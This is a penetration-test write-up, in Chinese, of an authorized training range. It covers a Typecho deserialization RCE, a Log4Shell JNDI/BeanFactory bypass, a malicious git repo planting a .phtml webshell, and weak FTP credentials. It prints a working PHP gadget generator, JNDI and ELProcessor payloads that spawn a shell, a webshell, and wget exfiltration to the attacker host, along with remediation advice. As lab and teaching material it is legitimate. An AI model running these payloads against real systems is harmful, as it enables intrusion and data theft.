BugKu PRA · 渗透测试 2(Harry's Blog)渗透测试报告
目标:
http://47.117.138.21/| 日期:2026-10-24 | 结果:9 / 9 flag 类型:授权靶场多级内网渗透(公网入口 → 双网卡边界 → 末端服务)

0. Evidence Chain(Evidence → Finding → Path)
0.1 Scope 摘要
| 项 | 值 |
|---|---|
| auth | 授权靶场(多级内网渗透训练) |
| in_scope | 47.117.138.21:80;内网 192.168.0.0/24、192.168.1.0/24、10.10.0.0/24 中由靶场派生出的主机 |
| network_profile | 公网入口 1 台 → 双网卡边界 2 台 → 末端服务 1 台;攻击机侧自建 Rogue LDAP + HTTP 回显 |
| 时间窗口 | 2026-10-24 01:30 ~ 02:08(Asia/Shanghai),任务计时 41m40s |
| 约束 | 只做读取/利用验证,不做破坏性操作;不下载攻击工具,利用设施全部本地自建 |
0.2 Evidence
| E-id | 观察 | source_type | source_ref / repro_command | hash |
|---|---|---|---|---|
| E-001 | 47.117.138.21 开放 22/80/2376/32768 | command | nmap -Pn -sT -p- --min-rate 3000 47.117.138.21 |
n/a |
| E-002 | 首页指纹 Typecho 1.0/14.10.10、Apache 2.4.7、PHP 5.5.9 | command | curl -i http://47.117.138.21/ |
n/a |
| E-003 | phpinfo.php、.git/、/usr/ 目录列表、/usr/uploads 可写可执行 |
command | curl -i http://47.117.138.21/{phpinfo.php,.git/config,usr/} |
n/a |
| E-004 | install.php 反序列化 RCE,落地 /usr/uploads/s.php,uid=33(www-data) |
command | POST /install.php?finish=a + 同源 Referer + __typecho_config |
n/a |
| E-005 | Typecho 容器 /flag = flag1 |
file | webshell echo file_get_contents('/flag') |
n/a |
| E-006 | config.inc.php 泄露 cms/7aed78676bf27528@localhost/cms |
file | webshell file_get_contents('/app/config.inc.php') |
n/a |
| E-007 | MySQL cms.flag = flag2 |
command | SELECT * FROM cms.flag |
n/a |
| E-008 | 内网 192.168.0.3:80 后台系统;Source: /source.zip;源码含 log4j 2.14.1 |
command | PHP fsockopen 扫描 + GET /source.zip |
n/a |
| E-009 | 源码审计:logger.info("用户登录失败,用户名不存在:" + user) |
file | /source.zip → DamnVulnerableLog4j.java |
n/a |
| E-010 | Log4Shell 绕过成功,root RCE(uid=0);LDAP 多端口回调 |
command | user=${jndi:ldap://192.168.0.2:1389/Exploit} + 序列化 ResourceRef |
n/a |
| E-011 | log4j 主机 start.sh:FLAG3 注入 anime.min.js;flag3 实测 |
file | cat /start.sh;GET /anime.min.js |
n/a |
| E-012 | log4j 主机 /flag、/root/flag = flag4/flag5 |
file | cat /flag /root/flag |
n/a |
| E-013 | git 主机 /repos/ 目录列表:flag 时间戳 00:57(容器启动),先于 clone 01:56 |
command | GET http://192.168.1.3/repos/ |
n/a |
| E-014 | 恶意裸仓库 .phtml getshell(www-data);git 主机 /flag = flag7 |
command | POST repourl=http://192.168.1.2:8000/repo.git + phtml 执行 |
n/a |
| E-015 | 10.10.0.3:21 vsftpd 3.0.2 guest/guest;/home/guest/flag、/flag |
command | PHP ftp_connect/ftp_get |
n/a |
0.3 Findings
漏洞类
| F-id | 标题 | severity | evidence_ids | confidence | status |
|---|---|---|---|---|---|
| F-V01 | Typecho install.php 反序列化 RCE(未授权) |
critical | E-004 | high | validated |
| F-V02 | config.inc.php 数据库口令泄露,flag 与业务同库 |
high | E-006, E-007 | high | validated |
| F-V03 | Spring Boot + log4j-core 2.14.1 Log4Shell(未授权,root) | critical | E-008, E-009, E-010 | high | validated |
| F-V04 | Git 克隆应用可克隆任意仓库且 .phtml 被解析执行 |
critical | E-013, E-014 | high | validated |
| F-V05 | vsftpd 弱口令 guest/guest,且未 chroot |
high | E-015 | high | validated |
| F-V06 | 信息暴露:phpinfo、.git、目录列表、source.zip、start.sh 残留 |
medium | E-002, E-003, E-008, E-011 | high | validated |
Flag 类
| F-id | Flag | 位置 | evidence_ids | 证据等级 |
|---|---|---|---|---|
| F-101 | flag{8f416dcf8f6da81d88ed3aefd2ad7200} |
Typecho /flag |
E-005 | B |
| F-102 | flag{fc927a470effa773b02951360624c9eb} |
cms.flag |
E-007 | B |
| F-103 | flag{c64be64c61a38655f0fcb1dd5ac0f2ac} |
log4j anime.min.js |
E-011 | A |
| F-104 | flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} |
log4j /flag |
E-012 | A |
| F-105 | flag{3399a9d82c572bb9f86b0f36317d0f71} |
log4j /root/flag |
E-012 | A |
| F-106 | flag{5b683dc7c1a7fd3283bdbbc793b46662} |
git /var/www/html/repos/flag |
E-013 | A |
| F-107 | flag{e4348b26252db4953e19d6365e128ca0} |
git /flag |
E-014 | A |
| F-108 | flag{cf452a1b4a3a5a3f43c09febf63609c0} |
FTP /home/guest/flag |
E-015 | A |
| F-109 | flag{2719dec3a2058d7a21ee996097a7b419} |
FTP /flag |
E-015 | A |
A = 目标机
start.sh直接写明变量与路径且实测读到;B = 文件/数据库实测 + 官方题解阶段对应(容器 start.sh 已自删)。
0.4 Path(攻击路径 P-001)
| 步 | action | evidence | finding |
|---|---|---|---|
| 1 | 指纹与信息暴露收集 | E-001,E-002,E-003 | F-V06 |
| 2 | install.php 反序列化拿 www-data |
E-004 | F-V01 |
| 3 | 读 /flag、config.inc.php、cms.flag |
E-005,E-006,E-007 | F-101,F-102,F-V02 |
| 4 | 内网扫描发现 192.168.0.3 后台系统与 source.zip |
E-008 | F-V06 |
| 5 | 源码审计定位 log4j 2.14.1 日志注入点 | E-009 | F-V03 |
| 6 | Log4Shell(BeanFactory 绕过)拿 root | E-010 | F-V03 |
| 7 | 读 anime.min.js、/flag、/root/flag |
E-011,E-012 | F-103,F-104,F-105 |
| 8 | 双网卡横向 → 192.168.1.3 Git 仓库 |
E-013 | F-V04 |
| 9 | /repos/ 目录列表直读 flag6 |
E-013 | F-106 |
| 10 | 恶意裸仓库 .phtml getshell → git /flag |
E-014 | F-V04,F-107 |
| 11 | 10.10.0.2/24 → 10.10.0.3 vsftpd |
E-015 | F-V05 |
| 12 | guest/guest 取 /home/guest/flag 与 /flag |
E-015 | F-108,F-109 |
0.5 Timeline 摘要
| 时间 | 事件 | 结果 |
|---|---|---|
| 01:30 | 开始侦察 | Typecho 指纹、信息暴露 |
| 01:34 | install.php 反序列化 |
www-data RCE |
| 01:35--01:36 | 读 /flag、cms.flag |
flag1、flag2 |
| 01:40 | 内网发现 192.168.0.3 |
后台系统 + source.zip |
| 01:50 | Log4Shell 绕过 | root RCE |
| 01:52 | 读 js / flag / root flag | flag3、flag4、flag5 |
| 01:55--01:58 | 双网卡横向 → Git 仓库 | flag6 |
| 02:04--02:05 | .phtml getshell |
flag7 |
| 02:07--02:08 | FTP guest | flag8、flag9 |

1. 执行摘要
本次对 BugKu PRA「渗透测试 2」靶场完成端到端渗透:从公网 Typecho 博客的 install.php 反序列化获得入口 RCE,读取容器 flag 与数据库 flag;随后通过内网发现边界主机上的 Spring Boot 后台系统,利用 log4j-core 2.14.1 的 Log4Shell(在 trustURLCodebase=false 下改用 BeanFactory + ELProcessor 绕过)获得 root;再经双网卡横向到 Git 克隆应用(目录列表直读 + 恶意 .phtml getshell),最后进入第三层网络拿下 vsftpd 弱口令主机。9 个 flag 全部获取并交叉验证,发现 6 类可复现漏洞(2 个 critical 利用链、3 个 high、1 个 medium)。核心建议:修复 Typecho 反序列化与信息暴露、升级 log4j ≥ 2.17.1、限制 Git 克隆目标并禁止克隆目录执行脚本、禁用 FTP 弱口令。

2. 测试范围与授权
| 资产 | 地址 | 角色 |
|---|---|---|
| 公网入口 | 47.117.138.21:80 |
Typecho 1.0 / Apache 2.4.7 / PHP 5.5.9 |
| 攻击机容器 | 192.168.0.2 |
webshell + Rogue LDAP(1389--1391) + HTTP 回显 |
| 边界主机 A | 192.168.0.3 / 192.168.1.2 |
Bugku 后台系统(Spring Boot 2.6.1 + log4j 2.14.1),双网卡 |
| 边界主机 B | 192.168.1.3 / 10.10.0.2 |
乙公司 Git 仓库(PHP clone 应用),双网卡 |
| 末端服务 | 10.10.0.3:21 |
vsftpd 3.0.2 |

- 授权:靶场训练任务,仅针对上述由目标派生出的主机;未对公网其他资产做任何探测。
- 操作纪律:利用代码与 LDAP/HTTP 设施均在攻击机侧自建;未下载外部攻击工具;未做删除/写入持久化等破坏性动作(仅必要的 webshell/仓库用于验证)。
- 残留物:Typecho webshell、Rogue LDAP、git 仓库
shell.phtml、FTP 下载临时文件(均限靶场,供复盘)。
3. 发现汇总
3.1 风险分布
| 严重性 | 数量 | 条目 |
|---|---|---|
| critical | 3 | F-V01、F-V03、F-V04 |
| high | 2 | F-V02、F-V05 |
| medium | 1 | F-V06 |
3.2 Flag 一览
| # | Flag | 位置 | 证据 |
|---|---|---|---|
| 1 | flag{8f416dcf8f6da81d88ed3aefd2ad7200} |
Typecho /flag |
E-005 |
| 2 | flag{fc927a470effa773b02951360624c9eb} |
MySQL cms.flag |
E-007 |
| 3 | flag{c64be64c61a38655f0fcb1dd5ac0f2ac} |
log4j anime.min.js |
E-011 |
| 4 | flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} |
log4j /flag |
E-012 |
| 5 | flag{3399a9d82c572bb9f86b0f36317d0f71} |
log4j /root/flag |
E-012 |
| 6 | flag{5b683dc7c1a7fd3283bdbbc793b46662} |
git /var/www/html/repos/flag |
E-013 |
| 7 | flag{e4348b26252db4953e19d6365e128ca0} |
git /flag |
E-014 |
| 8 | flag{cf452a1b4a3a5a3f43c09febf63609c0} |
FTP /home/guest/flag |
E-015 |
| 9 | flag{2719dec3a2058d7a21ee996097a7b419} |
FTP /flag |
E-015 |

4. 漏洞详情与利用
4.1 F-V06 信息暴露(medium)
/phpinfo.php暴露DOCUMENT_ROOT=/var/www/html、PHP 5.5.9、仅禁用pcntl_*;/.git/静态可读(packed-refs指向演示仓库);/usr/、/usr/themes/、/usr/plugins/目录列表;/usr/uploads/可写且 PHP 可执行;- 后台系统响应头
Source: /source.zip直接给出源码包。
4.2 F-V01 Typecho install.php 反序列化 RCE(critical)→ flag1
入口条件:?finish= 非空、Referer 与 Host 同源;__typecho_config 被 Base64 解码后直接 unserialize,$config['adapter'] 参与字符串拼接触发 __toString。链:Typecho_Feed::__toString → Typecho_Request::__get → call_user_func($filter,$value)。
php
class Typecho_Feed {
private $_type = 'RSS 2.0'; private $_items = array();
public function __construct($a){ $this->_items[] = array('title'=>'1','link'=>'1','date'=>1508895132,'category'=>array($a),'author'=>$a); }
}
class Typecho_Request {
private $_params = array(); private $_filter = array('assert');
public function __construct($code){ $this->_params['screenName'] = $code; }
}
$poc = array('adapter'=>new Typecho_Feed(new Typecho_Request($argv[1])), 'prefix'=>'typecho_');
echo base64_encode(serialize($poc));
http
POST /install.php?finish=a HTTP/1.1
Host: 47.117.138.21
Referer: http://47.117.138.21/
Content-Type: application/x-www-form-urlencoded
__typecho_config=<base64(serialize(...))>
assert('file_put_contents("/var/www/html/usr/uploads/s.php", base64_decode("..."));') → webshell(www-data)→ cat /flag = flag1。
4.3 F-V02 数据库口令泄露(high)→ flag2
config.inc.php:cms / 7aed78676bf27528 @ localhost / cms。cms.flag 表直接存放 flag2;同一库还含 typecho_users 的 admin 口令哈希与 authCode。
4.4 F-V03 Log4Shell(critical)→ flag3 / flag4 / flag5
后台系统 /login 把 user 拼接进 logger.info(...)(log4j 2.14.1)。经典 ${jndi:ldap://...} 可达 LDAP,但目标 trustURLCodebase=false,远程 class 不落地。改用本地工厂链:
text
LDAP 返回 javaSerializedData = serialize(org.apache.naming.ResourceRef)
className = javax.el.ELProcessor
classFactory= org.apache.naming.factory.BeanFactory
forceString = x=eval
x = "".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("javascript")
.eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,<B64>}|{base64,-d}|{bash,-i}')")
要点:
- LDAP
bindResponse/searchResEntry/searchResDone的 application tag 直接承载字段,不能再套 SEQUENCE; - 本地 stub
org.apache.naming.{AbstractRef,ResourceRef}(serialVersionUID=1L、无实例字段)保证类描述符与 Tomcat 9.0.x 兼容(9.0.55 仍支持forceString); Runtime.exec(String)按空白分词,命令用 brace expansion 去空格;- JDK JNDI 连接池会复用已关闭连接 → Rogue LDAP 开 1389/1390/1391 多端口轮换;
- 回显:目标
wget --post-file把 base64 结果 POST 回攻击机collect.php(避免 URL 长度/+问题)。
root 权限下 start.sh 揭示:flag3 由 sed 's/MIT/$FLAG3/' 注入 anime.min.js,flag4=/flag,flag5=/root/flag。
4.5 F-V04 Git 克隆应用(critical)→ flag6 / flag7
Git 主机(192.168.1.3)提供 repourl 表单并在服务端执行 git clone,/repos/ 为 Apache 目录列表。
- flag6(目录列表) :
start.sh在容器启动时执行echo $FLAG6 > /var/www/html/repos/flag;实测/repos/flag的 Last-Modified 为 00:57(容器启动),而官方题解中的 BWVS 克隆目录是 01:56、自建repo/是 02:04。因此 flag6 是目录列表直读 ,clone 只是引导到/repos的叙事,并非 flag 的生成原因。 - flag7(.phtml getshell) :在边界主机 A(
192.168.1.2,与 Git 主机同网段)自建裸仓库,含shell.phtml(<?php echo "PWNED"; eval($_POST["x"]); ?>),git update-server-info后用多线程静态服务提供 git dumb-http;提交repourl=http://192.168.1.2:8000/repo.git,克隆后.phtml被 PHP 解析 → www-data RCE →cat /flag= flag7。
4.6 F-V05 vsftpd 弱口令(high)→ flag8 / flag9
Git 主机另有 10.10.0.2/24;10.10.0.3:21 为 vsftpd 3.0.2,guest/guest 登录成功:
/home/guest/flag=flag{cf45...} PS:/→ flag8 ,PS:/提示根目录;ftp_get /flag→ flag9。
5. 攻击路径
text
公网 Typecho ──install.php 反序列化──▶ flag1 / MySQL flag2
│
└─内网 192.168.0.0/24──▶ 192.168.0.3 后台系统 ──Log4Shell(BeanFactory)──▶ flag3/4/5
│
└─双网卡 192.168.1.2──▶ 192.168.1.3 Git 仓库
├─/repos/ 直读 → flag6
└─.phtml getshell → flag7
│
└─10.10.0.2/24──▶ 10.10.0.3 vsftpd
├─/home/guest/flag → flag8
└─/flag → flag9

交互图按章节就近嵌入(阶段耗时 §1、时间线 §0.5、拓扑 §2、资产映射 §3.2、获取时序本节、修复路线 §7);完整索引见 §9。
6. 工具与环境
| 类别 | 工具/设施 | 说明 |
|---|---|---|
| 扫描 | nmap 7.98 | 公网端口;内网用 PHP fsockopen |
| HTTP | curl / PowerShell | 探测与利用请求 |
| 代码执行 | PHP webshell、install.php gadget |
Typecho 容器 |
| Log4Shell | 自写 Python Rogue LDAP(多端口)、Serialized ResourceRef(本地 stub + Java 序列化) |
无外部攻击工具下载 |
| 回显/运维 | collect.php、wget --post-file、run3.ps1 / run4.ps1 |
边界机命令执行编排 |
| 横向 | git dumb-http(update-server-info)、Python 多线程静态服务 |
恶意仓库投递 |
| 末端 | PHP ftp_* 扩展 |
FTP 交互 |
| 图形 | Archify 3.2.0 | architecture / sequence / timeline |
7. 修复建议
| 优先级 | 资产 | 建议 |
|---|---|---|
| P0 | Typecho | 删除/禁用 install.php;升级修复反序列化;移除 phpinfo.php、.git;关闭目录列表;/usr/uploads 禁止 PHP 执行 |
| P0 | log4j 后台 | 升级 ≥ 2.17.1;log4j2.formatMsgNoLookups=true 并移除 JndiLookup;保持 trustURLCodebase=false;Tomcat 限制 BeanFactory;过滤 ${jndi: |
| P0 | Git 应用 | 克隆 URL 白名单(禁内网/元数据地址);克隆目录 RemoveHandler/php_flag engine off;关闭 /repos/ 目录列表 |
| P1 | 数据库 | 独立低权账号、最小权限、禁用 FILE;flag/敏感数据不与业务同库 |
| P1 | FTP | 禁用 guest/guest 弱口令;chroot 到用户目录;敏感文件不放可读根目录 |
| P2 | 全局 | 统一信息暴露治理(响应头、错误页、备份/源码包);容器最小化(去除 start.sh 等环境残留) |

8. 附录
8.1 关键 payload / 命令索引
| 用途 | 位置 |
|---|---|
| Typecho gadget 生成器 | payload.php、payload2.php |
| ResourceRef 序列化生成 | log4j/ser/Gen.java + stub 类 |
| Rogue LDAP(多端口) | log4j/ldap2.py、startldap.sh |
| 回显收集 | log4j/collect.php(部署为容器 /app/collect.php) |
| 边界机编排 | run3.ps1(log4j 主机)、run4.ps1(git 主机 phtml) |
8.2 证据文件
| E-id | 对应工件 |
|---|---|
| E-004/E-005 | /app/usr/uploads/s.php(Typecho 容器,webshell) |
| E-006 | /app/config.inc.php |
| E-010 | 攻击面截图与 LDAP 日志 ldap.log |
| E-011/E-012 | log4j 主机 start.sh、anime.min.js、/flag、/root/flag |
| E-013/E-014 | git 主机 /repos/ 列表、shell.phtml |
| E-015 | FTP /home/guest/flag、/flag |
9. 图形附件(Archify)
六张交互图已分别嵌入对应章节(§1 阶段耗时、§0.5 事件时间线、§2 攻击面拓扑、§3.2 资产/Flag 映射、§5 获取时序、§7 修复路线);本表仅为索引。
| 图 | 章节 | 说明 |
|---|---|---|
| 攻击面拓扑 | §2 | 三网段边界、7 节点、6 条攻击边 |
| 事件时间线 | §0.5 | 13 事件、3 泳道,01:30--02:08 |
| 阶段耗时 | §1 | 8 阶段耗时,总计约 41m40s |
| 资产与 Flag 映射 | §3.2 | 4 主机 / 9 flag 归属 |
| 获取时序 | §5 | 7 参与者、12 条消息 |
| 修复路线 | §7 | P0→P1→P2 处置闭环 |
六张图均为可交互的独立 HTML 图,本文在各章节内联静态截图,便于离线阅读。
报告生成:2026-10-24 | 数据来源:本次实测会话与目标机取证;图形由 Archify 生成。